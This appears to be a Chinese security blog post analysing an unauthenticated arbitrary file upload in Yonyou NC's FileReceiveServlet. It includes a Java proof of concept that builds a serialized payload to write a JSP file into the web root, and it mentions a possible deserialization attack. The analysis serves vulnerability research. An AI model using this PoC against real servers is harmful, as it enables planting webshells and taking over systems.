某友NC未授权文件上传漏洞分析

漏洞点:/servlet/FileReceiveServlet

根据web.xml 向导,查看对应servlet的映射。

/service/ 和 /servlet/ 都对应nc.bs.framework.server.InvokerServlet 类

image.png

其类在/yonyou\home\lib\fwserver.jar 包内

image.png

其servlet的doGet和doPost方法都指向doAction方法

image.png

这里直接看doAction方法就可以了

image.png

这里主要是根据request.getPathInfo()的值获取了对应的moduleName和serviceName

image.png

最终将值传递给了getServiceObject方法

image.png

其getServiceObject的主要作用是根据moduleName和serviceName去查找服务。
image.png

最终问题在于FileReceiveServlet。

根据文档,FileReceiveServlet所对应的类为com.yonyou.ante.servlet.FileReceiveServlet

image.png

jar包所在目录:/yonyou\home\modules\uapss\lib

问题主要在68行,File outFile = new File(path, fileName);
image.png

这里创建了一个文件,导致任意文件上传。

image.png

不过这里需要注意的是。path和fileName的值是将req.getInputStream(); (io流)进行反序列化操作并将结果传递给metaInfoi接口。

image.png

63行还调用了readObject()。还可以尝试一下反序列化漏洞。。。

path和filename分别获取metaInfo的TARGET_FILE_PATH键和FILE_NAME键的值

image.png

70行,创建文件流,并将getInputStream 的内容进行写入。

造成任意文件上传。

编写POC:

这里参考了一下其他师傅的写法。

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.util.Map;
import java.io.*;
import java.util.HashMap;


public class test {
    public static void main(String[] args) throws IOException {
        Map metaInfo=new HashMap();
        metaInfo.put("TARGET_FILE_PATH","webapps/nc_web"); //nc6.5的默认目录为webapps/nc_web。
        //且该目录存在文件执行权限
        metaInfo.put("FILE_NAME","test.jsp"); //定义FILE_NAME键-》值为test.jsp
        //根据File outFile = new File(path, fileName);
        //文件最终在/webapps/nc_web/test.jsp 也就是根目录下的test.jsp
        ByteArrayOutputStream bOut=new ByteArrayOutputStream();
        //创建字节缓冲区
        ObjectOutputStream os=new ObjectOutputStream(bOut);
        os.writeObject(metaInfo);
        InputStream in=test.class.getResourceAsStream("test.jsp");
        //读取test.jsp的内容
        byte[] buf=new byte[1024];
        int len=0;
        while ((len=in.read(buf))!=-1){
            bOut.write(buf,0,len);
        }
        FileOutputStream fileOutputStream = new FileOutputStream("E:\\1.cer");
        fileOutputStream.write(bOut.toByteArray());

    }
}

这里有点问题。。。不知道是不是我操作问题,用Burp的Paste from file 读取文件内容尝试上传。发现不成功。
image.png

后面用了PostMan,才得以成功

image.png

image.png

image.png

本文链接:

https://websecuritys.cn/index.php/archives/257/
1 + 6 =
1 评论
    --+qweChrome 87Windows 10
    2020年12月08日 回复

    沙发,看不懂系列+1
    永远的海神~ヾ(≧∇≦*)ゝ